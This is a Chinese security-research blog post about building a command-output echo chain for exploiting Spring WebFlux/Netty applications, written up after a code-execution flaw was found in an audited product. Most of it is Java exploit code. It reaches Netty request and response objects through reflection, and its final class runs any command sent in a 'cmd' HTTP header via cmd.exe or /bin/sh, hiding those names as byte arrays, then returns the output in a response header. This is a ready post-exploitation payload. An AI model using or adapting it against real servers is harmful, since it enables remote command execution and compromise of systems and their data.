Ha1ey@深蓝攻防实验室
前言
最近审计一款产品,运气比较好也是找到一处代码执行。工具启动!!生成回显JS代码,但是没有得到预期的结果,但是正常加载普通命令执行的字节码是没有问题的。于是回头看了一眼代码,发现这款产品主要是WebFlux Netty的,这就导致javax.servlet
这个包直接无了。
按照之前的思路不管是Spring还是Tomcat 都依赖于javax.servlet
。回显和内存马最关键的无非还是获取request
和response
。说搞就搞,IDEA启动!!!
Demo环境
IDEA直接创建一个Spring Reactive Web
响应式Web,其他什么都不需要。
随便下一个断点
弯路一:只能获取request
这里用 @c0ny1 师傅写的Java Object Searcher根据request关键字找一下,最后发现一个满足条件的io.netty.handler.codec.http.DefaultHttpRequest
首先还是从线程中获取我们需要的对象reactor.netty.resources.DefaultLoopResources$EventLoop
,获取线程
Method method = Thread.class.getDeclaredMethod("getThreads");
method.setAccessible(true);
Object threads = method.invoke(null);
获取到reactor.netty.resources.DefaultLoopResources$EventLoop
对象之后,通过反射获取属性值threadLocalMap
这里的EventLoop
是一个静态内部类,我们需要的属性值在父类中
反射获取indexedVariables
数组
遍历indexedVariables
数组,找到我们需要的CodecOutputList$CodecOutputLists
对象
通过反射获取其elements
关于CodecOutputList
的数组
贴一下获取request最终代码。
try {
Method method = Thread.class.getDeclaredMethod("getThreads");
method.setAccessible(true);
Object threads = method.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
Object threadLocalMap = getFieldValue(thread, thread.getClass().getSuperclass(), "threadLocalMap");
if (threadLocalMap == null) continue;
Object[] indexedVariables = getFieldValue(threadLocalMap, threadLocalMap.getClass(), "indexedVariables");
if (indexedVariables == null) continue;
for (Object codecLists : indexedVariables) {
if (codecLists == null || !codecLists.getClass().getName().contains("CodecOutputList$CodecOutputLists")) {
continue;
}
Object[] elements = getFieldValue(codecLists, codecLists.getClass(), "elements");
if (elements == null) continue;
for (Object codeclist : elements) {
if (codeclist == null) continue;
Object[] array = getFieldValue(codeclist, codeclist.getClass(), "array");
if (array == null) continue;
for (Object obj : array) {
if (obj instanceof HttpRequest) {
HttpRequest httpRequest = (HttpRequest) obj;
if (httpRequest.headers().contains("test")) {
System.out.println(httpRequest.headers().get("test111111111111111"));
}
}
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
按照之前的逻辑request对象和response是有关联的,找了一圈很遗憾这条路子只能获取到request
弯路二:request&response都可以获取,不通用
后面在找response的时候发现了新大陆,reactor.netty.http.server.HttpServerOperations
这个对象同时存储着我们需要的request和response
还是从线程中获取reactor.netty.resources.DefaultLoopResources$EventLoop
对象,前段部分不变。
这次我们需要遍历indexedVariables
数组,从中取io.netty.channel.nio.NioEventLoop
对象
通过反射获取unwrappedSelector
属性值,进而得到Selector
的子类KQueueSelectorImpl
,通过KQueueSelectorImpl
获取fdMap
这个map
通过遍历value获取到MapEntry
的ski
反射获取SelectionKeyImpl
父类SelectionKey
的attachment
此时的attachment
为NioSocketChannel
对象,获取NioSocketChannel
父类DefaultAttributeMap
的attributes
数组
取io.netty.util.DefaultAttributeMap$DefaultAttribute
父类AtomicReference
value属性
此时的value
为HttpServerOperations
对象,最后通过HttpServerOperations
对象的nettyRequest
和nettyResponse
得到我们需要的request和response
try {
Method method = Thread.class.getDeclaredMethod("getThreads");
method.setAccessible(true);
Object threads = method.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
Object threadLocalMap = getFieldValue(thread, "threadLocalMap");
if (threadLocalMap == null) continue;
Object[] indexedVariables = getFieldValue(threadLocalMap, "indexedVariables");
if (indexedVariables == null) continue;
for (Object nioEventLoop : indexedVariables) {
if (nioEventLoop == null || !nioEventLoop.getClass().getName().contains("NioEventLoop")) {
continue;
}
Object kQueueSelectorImpl = getFieldValue(nioEventLoop, "unwrappedSelector");
if (kQueueSelectorImpl == null) continue;
Map fdMap = getFieldValue(kQueueSelectorImpl, "fdMap");
for (Object obj : fdMap.values()) {
Object ski = getFieldValue(obj, "ski");
if (ski == null) continue;
Object attachment = getFieldValue(ski, "attachment");
Object[] attributes = getFieldValue(attachment, "attributes");
for (Object attribute : attributes) {
Object value = getFieldValue(attribute, "value");
Object request = getFieldValue(value, "nettyRequest");
Object response = getFieldValue(value, "nettyResponse");
if (request instanceof HttpRequest) {
HttpRequest httpRequest = (HttpRequest) request;
System.out.println(httpRequest);
}
if (response instanceof HttpResponse) {
HttpResponse httpResponse = (HttpResponse) response;
System.out.println(httpResponse);
}
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
通过上面的代码已经可以获取到request和response对象了,但是这里的response对象并没有直接写入内容到body的方法
坑啊,又要重新找可以写入到返回包的地方
不依靠注入pipeline 回显
截止到目前查找有关资料netty
输出http请求相应内容是通过向io.netty.channel.ChannelOutboundInvoker#writeAndFlush(java.lang.Object)
这个方法中传入一个io.netty.handler.codec.http.FullHttpResponse
对象,其中io.netty.handler.codec.http.FullHttpResponse
的content
夹带着输出的内容。
下面是从线程中获取我们需要的io.netty.handler.codec.http.FullHttpResponse
对象:
获取DefaultChannelHandlerContext
对象
按照插入Handler回显的逻辑获取到这两个对象之后,只需要反射调用writeAndFlush
方法即可,但是实际测试确实没有成功。
回到之前通过nettyResponse
属性获取到的response对象,虽然没有写入body的方法
但是可以调用父类的headers
方法写到返回包的header头中。
虽然但是。。。。。。。
此处应该。。。。。。。
本地环境demo代码如下:
boolean stop = false;
Method method = Thread.class.getDeclaredMethod("getThreads");
method.setAccessible(true);
Object threads = method.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
Object threadLocalMap = getFieldValue(thread, "threadLocalMap");
if (threadLocalMap == null) continue;
Object[] indexedVariables = getFieldValue(threadLocalMap, "indexedVariables");
if (indexedVariables == null) continue;
for (Object nioEventLoop : indexedVariables) {
if (nioEventLoop == null || !nioEventLoop.getClass().getName().contains("NioEventLoop")) {
continue;
}
Object kQueueSelectorImpl = getFieldValue(nioEventLoop, "unwrappedSelector");
if (kQueueSelectorImpl == null) continue;
Map fdMap = getFieldValue(kQueueSelectorImpl, "fdMap");
for (Object obj : fdMap.values()) {
Object ski = getFieldValue(obj, "ski");
if (ski == null) continue;
Object attachment = getFieldValue(ski, "attachment");
Object parent = getFieldValue(attachment, "parent");
Object pipeline = getFieldValue(parent, "pipeline");
Object tail = getFieldValue(pipeline, "tail");
ChannelHandlerContext connext = getFieldValue(tail, "prev");
Object[] attributes = getFieldValue(attachment, "attributes");
for (Object attribute : attributes) {
Object value = getFieldValue(attribute, "value");
Object request = getFieldValue(value, "nettyRequest");
Object response = getFieldValue(value, "nettyResponse");
if (request instanceof HttpRequest) {
HttpRequest httpRequest = (HttpRequest) request;
HttpResponse httpResponse = (HttpResponse) response;
String s = httpRequest.headers().get("cmd");
if (s != null && !s.isEmpty()) {
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{new String(new byte[]{99, 109, 100, 46, 101, 120, 101}), "/c", s} : new String[]{new String(new byte[]{47, 98, 105, 110, 47, 115, 104}), "-c", s};
byte[] bytes = new java.util.Scanner(new ProcessBuilder(var12).start().getInputStream()).useDelimiter("\A").next().getBytes();
httpResponse.headers().add("result",new String(bytes).replace("n"," "));
}
stop = true;
}
if (stop) {
break;
}
}
if (stop) {
break;
}
}
if (stop) {
break;
}
}
}
if (stop) {
break;
}
}
实际环境
按照上面的demo代码打一下试试
很明显失败了。。。。断点看一下哪里出了问题
找了一圈,发现目标环境中并没有NioEventLoop
这个对象,倒是有一个EpollEventLoop
查了一下资料,Netty包含了多种II/O
模型,看了一下源码发现netty中有这些EventLoop
。可以在原来的回显代码再加一个关于EpollEventLoop
的判断,但是这样就会导致代码量过大,况且除此之外还有其他的EventLoop
,所以后面再重新挖掘一处较为通用的方式。
通过之前这种方式获取response和request对象并不通用,下面换成从HttpServerConfig
中获取,这条链可以很好的避免不同Netty环境中使用了不同EventLoop
模型的问题。这条回显利用链是手工找的,@c0ny1师傅的Java Object Searcher项目没有扫描到,不知是何原因。
修改后的利用链代码测试回显成功
最终代码如下:
import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
import java.util.Set;
public class NettyEchoDemo {
static {
try {
boolean stop = false;
Method method = Thread.class.getDeclaredMethod("getThreads");
method.setAccessible(true);
Object threads = method.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread.getClass().getName().contains("NettyWebServer")) {
Object val$disposableServer = getFieldValue(thread,"val$disposableServer");
Object httpServerConfig = getFieldValue(val$disposableServer,"config");
Set<Object> channelGroup = getFieldValue(httpServerConfig,"channelGroup");
for (Object channel : channelGroup){
Object[] attributes = getFieldValue(channel,"attributes");
for (Object attribute :attributes){
if (attribute != null){
Object value = getFieldValue(attribute, "value");
Object request = getFieldValue(value, "nettyRequest");
Object response = getFieldValue(value, "nettyResponse");
if (request instanceof HttpRequest) {
HttpRequest httpRequest = (HttpRequest) request;
HttpResponse httpResponse = (HttpResponse) response;
String s = httpRequest.headers().get("cmd");
if (s != null && !s.isEmpty()) {
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{new String(new byte[]{99, 109, 100, 46, 101, 120, 101}), "/c", s} : new String[]{new String(new byte[]{47, 98, 105, 110, 47, 115, 104}), "-c", s};
byte[] bytes = new Scanner(new ProcessBuilder(var12).start().getInputStream()).useDelimiter("\A").next().getBytes();
httpResponse.headers().add("result", new String(bytes).replace("n", " "));
}
stop = true;
}
}
if (stop) {
break;
}
}
if (stop) {
break;
}
}
}
if (stop) {
break;
}
}
} catch (Exception ignored) {
}
}
private static <T> T getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Object value = null;
if (obj instanceof Field) {
field = (Field) obj;
} else {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
clazz = null;
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
}
if (field != null) {
field.setAccessible(true);
value = field.get(obj);
}
return (T) value;
}
}
最后,可惜还是没有找到写入response body的地方 ,言辞浅薄还望各位师傅多多指正。
参考文章
https://forum.butian.net/share/1571
https://cloud.tencent.com/developer/article/2377957
https://github.com/Snailclimb/netty-practical-tutorial/blob/master/example/http-server/README.md
https://github.com/c0ny1/java-object-searcher
https://juejin.cn/post/7142326187077926919#heading-5
https://www.cnblogs.com/wuzhenzhao/p/11221189.html
该文章首发于先知社区 https://xz.aliyun.com/t/14726
原文始发于微信公众号(轩公子谈技术):与众不同的Netty回显链挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论